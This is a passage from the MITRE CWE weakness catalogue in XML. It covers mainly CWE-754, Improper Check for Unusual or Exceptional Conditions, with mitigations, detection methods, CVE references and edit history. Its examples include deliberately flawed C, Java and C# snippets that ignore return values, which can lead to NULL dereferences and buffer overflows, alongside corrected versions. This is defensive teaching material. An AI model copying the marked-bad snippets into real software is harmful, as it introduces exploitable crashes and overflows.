            <Related_Attack_Pattern CAPEC_ID="93"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Special Element Injection</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="754" Name="Improper Check for Unusual or Exceptional Conditions" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.</Description>
         <Extended_Description>
            <xhtml:p>The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.</xhtml:p>
            <xhtml:p>Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Unexpected State</Impact>
               <Note>The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-12">
               <Method>Manual Dynamic Analysis</Method>
               <Description>Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-3">
               <Phase>Requirements</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>
                  <xhtml:p>Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Check the results of all functions that return a value and verify that the value is expected.</Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).</Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-39">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.</xhtml:p>
                  <xhtml:p>If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.</xhtml:p>
		  <xhtml:p>Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.</xhtml:p>
		  <xhtml:p>Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.</xhtml:p>
	       </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
               <Effectiveness_Notes>Performing extensive input validation does not help with handling unusual conditions, but it will minimize their occurrences and will make it more difficult for attackers to trigger them.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-38">
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use system limits, which should help to prevent resource exhaustion. However, the product should still handle low resource conditions since they may still occur.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-7">
               <Intro_Text>Consider the following code segment:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char buf[10], cp_buf[10];<xhtml:br/>fgets(buf, 10, stdin);<xhtml:br/>strcpy(cp_buf, buf);</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-8">
               <Intro_Text>The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>buf = (char*) malloc(req_size);<xhtml:br/>strncpy(buf, xfer, req_size);</xhtml:div>
               </Example_Code>
               <Body_Text>The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-9">
               <Intro_Text>The following examples read a file into a byte array.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>char[] byteArray = new char[1024];<xhtml:br/>for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {<xhtml:div style="margin-left:1em;">String userName = (String) i.Current();<xhtml:br/>String pFileName = PFILE_ROOT + "/" + userName;<xhtml:br/>StreamReader sr = new StreamReader(pFileName);<xhtml:br/>sr.Read(byteArray,0,1024);//the file is always 1k bytes<xhtml:br/>sr.Close();<xhtml:br/>processPFile(userName, byteArray);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>FileInputStream fis;<xhtml:br/>byte[] byteArray = new byte[1024];<xhtml:br/>for (Iterator i=users.iterator(); i.hasNext();) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String userName = (String) i.next();<xhtml:br/>String pFileName = PFILE_ROOT + "/" + userName;<xhtml:br/>FileInputStream fis = new FileInputStream(pFileName);<xhtml:br/>fis.read(byteArray); // the file is always 1k bytes<xhtml:br/>fis.close();<xhtml:br/>processPFile(userName, byteArray);<xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-10">
               <Intro_Text>The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String itemName = request.getParameter(ITEM_NAME);<xhtml:br/>if (itemName.compareTo(IMPORTANT_ITEM) == 0) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String itemName = request.Item(ITEM_NAME);<xhtml:br/>if (itemName.Equals(IMPORTANT_ITEM)) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-11">
               <Intro_Text>The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>System.clearProperty("os.name");<xhtml:br/>...<xhtml:br/>String os = System.getProperty("os.name");<xhtml:br/>if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");</xhtml:div>
               </Example_Code>
               <Body_Text>The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-12">
               <Intro_Text>The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)<xhtml:br/>Dim MyArray(50) As Byte<xhtml:br/>MyFile.Read(MyArray, 0, 50)<xhtml:br/>DoDangerousOperation(MyArray(20))</xhtml:div>
               </Example_Code>
               <Body_Text>In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-1">
               <Intro_Text>This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void host_lookup(char *user_supplied_addr){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>struct hostent *hp;<xhtml:br/>in_addr_t *addr;<xhtml:br/>char hostname[64];<xhtml:br/>in_addr_t inet_addr(const char *cp);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/*routine that ensures user_supplied_addr is in the right format for conversion */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>validate_addr_form(user_supplied_addr);<xhtml:br/>addr = inet_addr(user_supplied_addr);<xhtml:br/>hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);<xhtml:br/>strcpy(hostname, hp-&gt;h_name);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference
	       (CWE-476) would then occur in the call to strcpy().</Body_Text>
               <Body_Text>Note that this code is also vulnerable to a buffer overflow (CWE-119).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following C/C++ example the method outputStringToFile opens a file in the local filesystem and outputs a string to the file. The input parameters output and filename contain the string to output to the file and the name of the file respectively.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>int outputStringToFile(char *output, char *filename) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>openFileToWrite(filename);<xhtml:br/>writeToFile(output);<xhtml:br/>closeFile(filename);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, this code does not check the return values of the methods openFileToWrite, writeToFile, closeFile to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.</Body_Text>
               <Example_Code Nature="Good" Language="C++">
                  <xhtml:div>int outputStringToFile(char *output, char *filename) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int isOutput = SUCCESS;<xhtml:br/>
                           <xhtml:br/>int isOpen = openFileToWrite(filename);<xhtml:br/>if (isOpen == FAIL) {<xhtml:div style="margin-left:1em;">printf("Unable to open file %s", filename);<xhtml:br/>isOutput = FAIL;</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>int isWrite = writeToFile(output);<xhtml:br/>if (isWrite == FAIL) {<xhtml:div style="margin-left:1em;">printf("Unable to write to file %s", filename);<xhtml:br/>isOutput = FAIL;</xhtml:div>}<xhtml:br/>
                                 <xhtml:br/>int isClose = closeFile(filename);<xhtml:br/>if (isClose == FAIL)<xhtml:div style="margin-left:1em;">isOutput = FAIL;</xhtml:div>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>return isOutput;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the method readFromFile uses a FileReader object to read the contents of a file. The FileReader object is created using the File object readFile, the readFile object is initialized using the setInputFile method. The setInputFile method should be called before calling the readFromFile method.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private File readFile = null;<xhtml:br/>
                     <xhtml:br/>public void setInputFile(String inputFile) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// create readFile File object from string containing name of file</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public void readFromFile() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>reader = new FileReader(readFile);<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// read input file</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>} catch (FileNotFoundException ex) {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the readFromFile method does not check to see if the readFile object is null, i.e. has not been initialized, before creating the FileReader object and reading from the input file. The readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>private File readFile = null;<xhtml:br/>
                     <xhtml:br/>public void setInputFile(String inputFile) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// create readFile File object from string containing name of file</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public void readFromFile() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if (readFile == null) {<xhtml:div style="margin-left:1em;">System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");<xhtml:br/>throw NullPointerException;</xhtml:div>}<xhtml:br/>
                                 <xhtml:br/>reader = new FileReader(readFile);<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// read input file</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>} catch (FileNotFoundException ex) {...}<xhtml:br/>catch (NullPointerException ex) {...}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-3798</Reference>
               <Description>Unchecked return value leads to resultant integer overflow and code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3798</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4447</Reference>
               <Description>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4447</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2916</Reference>
               <Description>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2916</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP31-PL</Entry_ID>
               <Entry_Name>Do not suppress or ignore exceptions</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR 3.5</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR 3.7</Entry_Name>
	    </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Program Building Blocks&#34; Page 341"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 1, &#34;Exceptional Conditions,&#34; Page 22"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 11: Failure to Handle Errors Correctly.&#34; Page 183"/>
            <Reference External_Reference_ID="REF-622"/>
         </References>
         <Notes>
            <Note Type="Relationship">Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
               <Submission_Comment>New entry for reorganization of CWE-703.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Detection_Factors, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
